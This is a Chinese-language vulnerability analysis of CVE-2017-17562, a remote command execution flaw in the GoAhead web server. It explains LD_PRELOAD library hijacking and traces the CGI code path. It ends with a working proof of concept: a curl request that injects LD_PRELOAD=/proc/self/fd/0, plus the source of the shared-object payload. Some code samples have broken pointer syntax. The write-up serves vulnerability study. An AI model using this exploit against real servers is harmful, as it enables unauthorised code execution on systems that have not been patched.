GOAhead CVE-2017-17562深入分析

1.前提准备

GOAhead是一个嵌入式的web server,前几周被爆出一个远程命令执行的漏洞,受漏洞影响版本:2.5-3.6.4。本文进行该漏洞的深入分析,漏洞调试环境:Ubuntu 16.04 64bit,GOAhead版本3.6.4,下载地址:https://github.com/embedthis/goahead/releases。

1.1 GOAhead软件下载和配置

GOAhead安装和cgi扩展启用参考:http://blog.csdn.net/yangguihao/article/details/49820765。
GOAhead要启用CGI时,记的要修改/etc/goahead中的route.txt。

dir是cgi的存放目录,其目录下存放一个cgi_test,里面内容随便写,然后gcc编译即可。


输入cgi的url:http://172.20.94.98:8888/cgi-bin/cgi_test

1.2 LD_PRELOAD执行环境变量分析

LD_PRELOAD是Linux系统的一个环境变量,用于动态库的加载执行,动态库加载的优先级最高,一般情况下,其加载顺序为:LD_PRELOAD>LD_LIBRARY>/etc/ld.so.cache >/lib>/usr/lib.它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态库,甚至覆盖正常的函数库。
LA_PRELOAD替换前:

LA_PRELOAD替换后:

演示程序:
a.主程序(login.c)

#include <stdio.h>
#include <string.h>
#include “myverify.h”
void main(int argc, char const argv[])
{
char pwd[] = “123456”;
if(argc < 2)
{
printf(“usage: %s <your password>n”, argv[0]);
return;
}
if(!verify(pwd, argv[1]))
{
printf(“login successn”);
}
else
{
printf(“login failn”);
}
}

b.调用库(myverify.h和myverify.c)

#include <stdio.h>
int verify(const char s1, const char s2);
#include <stdio.h>
#include <string.h>
#include “myverify.h”
int verify(const char s1, const char s2)
{
return strcmp(s1, s2);
}

c.编译运行效果如下:

相关命令解释如下:

gcc myverify.c -fPIC -shared -o libmyverify.so #编译动态链接库
gcc login.c -L. -lmyverify -o mylogin #编译主程序
export LD_LIBRARY_PATH=/home/daizy/workplace/CDemo/LinuxAPI/ #指定动态链接库所在目录位置
ldd myverifypasswd #显示、确认依赖关系

d.替换代码如下:(myhack.c)

#include <stdio.h>
#include <string.h>
int verify(const char s1, const char *s2)
{
printf(“hack function invoked.n”);
return 0;
}

e.编译设置环境变量LD_PRELOAD,运行替换代码效果如下:

export LD_PRELOAD=”./myhack.so” #设置LD_PRELOAD环境变量,库中的同名函数在程序运行时优先调用
ps:替换结束,要还原函数调用关系,用命令unset LD_PRELOAD 解除

2.CVE分析

以GOAhead 3.6.4版本为例进行漏洞分析:
当用户post提交数据时,goahead最终会调用http.c中readEvent(Webs *wp)进行数据读取的处理,其中结构体Webs后续会常看到,此处先给出该结构体大致定义,在goahead.h中可以查找到:


typedef struct Webs {
WebsBuf rxbuf; /< Raw receive buffer /
WebsBuf input; /< Receive buffer after de-chunking /
WebsBuf output; /< Transmit buffer after chunking /
WebsBuf chunkbuf; /< Pre-chunking data buffer /
WebsBuf txbuf;
WebsHash vars; /< CGI standard variables /
int rxChunkState; /< Rx chunk encoding state /
ssize rxChunkSize; /< Rx chunk size /
char rxEndp; /< Pointer to end of raw data in input beyond endp /
ssize lastRead; /**< Number of bytes last read from the socket /
ssize txChunkPrefixLen; /< Length of prefix /
ssize txChunkLen; /< Length of the chunk /
int txChunkState; /< Transmit chunk state /
char filename; /< Document path name /
char path; /< Path name without query. This is decoded. /
int sid; /< Socket id (handler) */
int routeCount; /< Route count limiter /
ssize rxLen; /< Rx content length /
ssize rxRemaining; /< Remaining content to read from client /
ssize txLen; /< Tx content length header value /
int wid; /< Index into webs /
char cgiStdin; /< Filename for CGI program input /
int cgifd; /< File handle for CGI program input /
struct WebsRoute route; /< Request route /
struct WebsUser user; /< User auth record /
} Webs;

其中说明几个重要字段,后续分析会使用到:rxbuf(接受post提交的数据的buf)、vars(需要CGI处理的变量)、cgiStdin(cgi处理程序的标准输入)、cgifd(cgi处理程序的文件句柄).
readEvent(Webs wp)代码如下:

readEvent中通过函数websRead读取用户提交的数据,并填充到rxbuf中,其中websRead()根据是否是https,采用sslread和socketRead来读取用户提交的数据。数据读取完成后,由于nbytes>0,进入到websPump()函数继续处理。

websPump代码结构如下,本质就是一个for循环,停止条件取决于canProceed,然后根据wp->state来调用相关函数进行处理;刚开始state条件是0,也就是WEBS_BEGIN,进入到parseIncoming函数处理阶段。

PUBLIC void websPump(Webs wp)
{
bool canProceed;

for (canProceed = 1; canProceed; ) {
switch (wp->state) {
case WEBS_BEGIN:
canProceed = parseIncoming(wp);
break;
case WEBS_CONTENT:
canProceed = processContent(wp);
break;
case WEBS_READY:
if (!websRunRequest(wp)) {
/ Reroute if the handler re-wrote the request /
websRouteRequest(wp);
wp->state = WEBS_READY;
canProceed = 1;
continue;
}
canProceed = (wp->state != WEBS_RUNNING);
break;
case WEBS_RUNNING:
/ Nothing to do until websDone is called /
return;
case WEBS_COMPLETE:
canProceed = complete(wp, 1);
break;
}
}
}

parseIncoming()函数会parseHeader()进行http header头的处理parseHeader函数中,根据content-length的值,设置reLen的值,由于rxLen>0然后state=WEBS_CONTENT】。

然后进入函数websRouteRequest(),根据1.1节里面提到的route.txt进行request route处理设置,比如route到cgi处理。

判断route->handler->service是否是cgiHandler,如果是cgiHandler,则先判断method,是否是post,然后设置cgiStdin=websGetCgiCommName(),同时cgifd = open(cgiStdin),然后返回1=canProceed,继续在websPump()函数的for循环中。parseIncoming函数整体代码如下:

其中函数websGetCgiCommName调用的是websTempFile函数,该函数注释说明如下,返回的文件路径是/tmp/cgi:

/Create a temporary filename
This does not guarantee the filename is unique or that it is not already in use by another application.
@param dir Directory to locate the temp file. Defaults to the O/S default temporary directory (usually /tmp)
@param prefix Filename prefix
@return An allocated filename string
@ingroup Webs
@stability Stable
/
PUBLIC char websTempFile(char dir, char prefix);

由于state=WEBS_CONTENT,进入到processContent()函数处理:先进行filterChunkData()函数的chunk过滤处理,当用户在http 头部,使用Transfer-Encoding: chunked时,数据以一系列分块的形式进行发送,分块传输不是分析重点,就不深入分析了,简而言之,filterChunkData会使canProceed=1,wp->eof=1;后续由于cgifd>0,因此进入到函数websProcessCgiData (),websProcessCgiData处理完后,由于eof=1,因此state= WEBS_READY.

websProcessCgiData函数:也就是把用户post提交的数据,保存到cgifd中,就是先前通过cgiStdin=websGetCgiCommName()获得,也就是文件“/tmp/cgi”。

此时由于state= WEBS_READY,canProceed=1,进入到websRunRequest(wp)函数中:该函数中就是先提取url中的var变量,然后设置state=WEBS_RUNNING,然后调用(route->handler->service)(wp),即cgiHandler (wp),该函数在cgi.c中。

由于cgiHandler()在处理cgi扩展时,只对REMOTE_HOST和HTTP_AUTHORIZATION进行了过滤,其他var变量都会当成可信环境变量,传入到cgi扩展处理进程中。

Cgi.c中在处理完参数之后,然后将标准输入重定向到:/tmp/cgi**
,也就是post数据保存的地方,代码详情如下:

输入、输出重定向完成后,cgi.c中就调用launchCgi,开始调用cgi的扩展处理进程,并传入上述envp生成的环境变量。【注意:launchCgi分三个版本:windows、unix和VXWORKS,函数别定位错误】
找到launchCgi处理函数,代码如下:

执行到函数vfork()后,会将子进程(也就是cgi的处理进程)的标准出入、输出重定向到前文分析到的/tmp/cgi文件,也就是post数据存放的文件;然后调用execve()调用cgi处理进程,并传递envp中的系统环境变量,结合上文分析的LA_PRELOAD变量,可以实现任意代码执行。
但是现在还存在一个问题,就是通过环境变量:LA_PRELOAD,可以指定加载本地的共享库,进行代码执行,但是如何变成远程危害命令执行呢?也就是如何上传恶意代码,并且通过环境变量:LA_PRELOAD,进行指定呢?
在前面分析中我们得知,由于goahead webserver在处理cgi扩展时,当用户post提交了数据,goahead webserver会将其存到/tmp/cgi中,这不就是可以恶意代码了嘛?
但是如何知道上传的全路径名称呢?爆破还是其他,都不是好的方法。由于cgi处理进程中,将标准输入、输出重定向到了/tmp/cgi**,所以现在问题,就是我们能不能找到一个路径连接,是指向标准输入?Linux上刚好存在这种符号链接:/proc/self/fd/0和/dev/stdin,于是我们可以在HTTP参数中内置?LD_PRELOAD=/proc/self/fd/0命令。
整个goahead-cgi的执行流程图如下:

3. POC

daizy@daizy:~/workplace/CDemo$ curl -X POST —data-binary @payload.so http://172.20.94.98:8888/cgi-bin/cgi_test?LD_PRELOAD=/proc/self/fd/0 -i | head
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 8128 0 0 100 8128 0 7885 0:00:01 0:00:01 —:—:— 7891
curl: (18) transfer closed with outstanding read data remaining
HTTP/1.1 200 OK
Date: Thu Dec 28 12:33:37 2017
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hacked by daizy

其中payload.so是由以下代码编译获得:

#include <unistd.h>
static void beforemain(void) _attribute((constructor));
static void before_main(void)
{
write(1, “hacked by daizyn”,16);
}

编译命令:gcc -shared -fPIC payload.c -o payload.so
其中标签属性:constructor,表示该函数由.init初始化时执行,也就是在cgi的扩展main函数之前会被执行。

4.参考文章

https://www.elttam.com.au/blog/goahead/
https://www.cnblogs.com/net66/p/5609026.html

本文由 华盟网 作者:AlexFrankly 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。

0

发表评论

// 360自动收录 // 360自动收录